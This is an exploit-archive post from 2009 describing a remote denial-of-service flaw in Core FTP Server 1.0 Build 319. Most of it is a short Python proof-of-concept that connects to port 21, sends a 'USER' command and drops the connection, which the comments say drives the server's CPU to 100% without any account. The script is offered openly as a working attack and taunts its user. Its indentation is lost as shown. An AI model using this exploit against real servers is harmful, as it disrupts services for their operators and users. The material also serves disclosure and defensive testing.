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Core FTP Server 1.0 Build 319 Denial Of Service

Core FTP Server 1.0 Build 319 Denial Of Service
Posted Dec 5, 2009
Authored by Mert SARICA

Core FTP Server version 1.0 Build 319 suffers from a remote denial of service vulnerability.

tags | exploit, remote, denial of service
SHA-256 | 49933519fe2c4b693e105a1f04a807e3dcc61d13f727d9c57e57409cae6b7bd3

Core FTP Server 1.0 Build 319 Denial Of Service

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# Note: FTP account is not required for exploitation
# http://www.mertsarica.com
# I discovered a denial-of-service vulnerability on Core FTP Server product.
# When you send "USER test\r\n" and then kills the connection
# immediately, cpu increases to 100% and stays at that level until you
# stop the ftp service.


import socket, sys

HOST = 'localhost'
PORT = 21
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
s.connect((HOST, PORT))
except:
print "Connection error"
sys.exit(1)

try:
s.send('USER MS\r\n') # magic packet
s.close()
print("Very good, young padawan, but you still have much to learn...")
except:
print "Connection error"
sys.exit(1)

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